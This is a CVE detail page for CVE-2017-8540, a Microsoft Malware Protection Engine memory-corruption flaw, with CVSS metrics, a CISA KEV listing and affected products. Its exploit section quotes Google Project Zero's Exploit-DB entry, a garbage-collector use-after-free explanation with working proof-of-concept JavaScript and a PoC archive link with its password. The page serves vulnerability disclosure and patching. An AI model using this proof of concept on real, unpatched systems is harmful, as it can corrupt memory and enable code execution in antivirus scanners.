CVE-2017-8540 : Detail

CVE-2017-8540

7.8
/
High
Overflow
83.68%V3
Local
2017-05-26
20h00 +00:00
2025-02-10
19h08 +00:00
CVE.org
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CVE Descriptions

The Microsoft Malware Protection Engine running on Microsoft Forefront and Microsoft Defender on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016, Microsoft Exchange Server 2013 and 2016, does not properly scan a specially crafted file leading to memory corruption. aka "Microsoft Malware Protection Engine Remote Code Execution Vulnerability", a different vulnerability than CVE-2017-8538 and CVE-2017-8541.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Malware Protection Engine Improper Restriction of Operations Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-02 23h00 +00:00

Action is due : 2022-03-23 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42088

Publication date : 2017-05-29 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258 MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects. During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur. MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes. The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global. The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed. The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this: JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this); // nothing (apart from maybe JSBench?) is rooting this_str as long as we // don't keep any references to it in script // the native code needs to prevent GC to keep it alive while it needs it int len = JsString::numBytes(this_str); // okay because this can't cause GC int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] ); // this calls valueOf() on the first argument // toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice() // It will pass blockGC=1 to prevent the callback doing GC (which could free this_str) // however if in the valueof callback we eval code which will cause a GC we can get a GC to happen // which will cause the this_str JsString to be free'd (as it's not explicitly rooted, // the native stack isn't scanned and no script objects reference it.) // the code continues and does something like this: JsString::initBySub(jsState, this_str ... // that ends up calling a virtual method on the free’d this_str PoC script: function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l); PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc" ################################################################################ Here's a clearer PoC not all on one line for the mpengine shell :) //************************* function gc() { eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}"); }; var x = Object(); // the first PoC didn't return a string here so toString ended up being the string 'undefined' // if we do want to return a string object it has to have more than three characters so it doesn't use the // inline string optimization x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);}; var l = Object(); l.valueOf = function() {gc(); return 1;}; String.prototype.slice.call(x, l); //************************ ################################################################################ Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42088.zip

Products Mentioned

Configuraton 0

Microsoft>>Malware_protection_engine >> Version From (including) 1.1.13701.0 To (excluding) 1.1.13704.0

Microsoft>>Windows_10_1507 >> Version -

Microsoft>>Windows_10_1511 >> Version -

Microsoft>>Windows_10_1607 >> Version -

Microsoft>>Windows_10_1703 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Endpoint_protection >> Version -

Microsoft>>Exchange_server >> Version 2013

Microsoft>>Exchange_server >> Version 2016

Microsoft>>Forefront_endpoint_protection >> Version -

Microsoft>>Forefront_endpoint_protection >> Version 2010

Microsoft>>Forefront_security >> Version -

Microsoft>>Intune_endpoint_protection >> Version -

Microsoft>>Security_essentials >> Version -

Microsoft>>System_center_endpoint_protection >> Version -

Microsoft>>Windows_defender >> Version -

References

http://www.securityfocus.com/bid/98703
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42088/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038571
Tags : vdb-entry, x_refsource_SECTRACK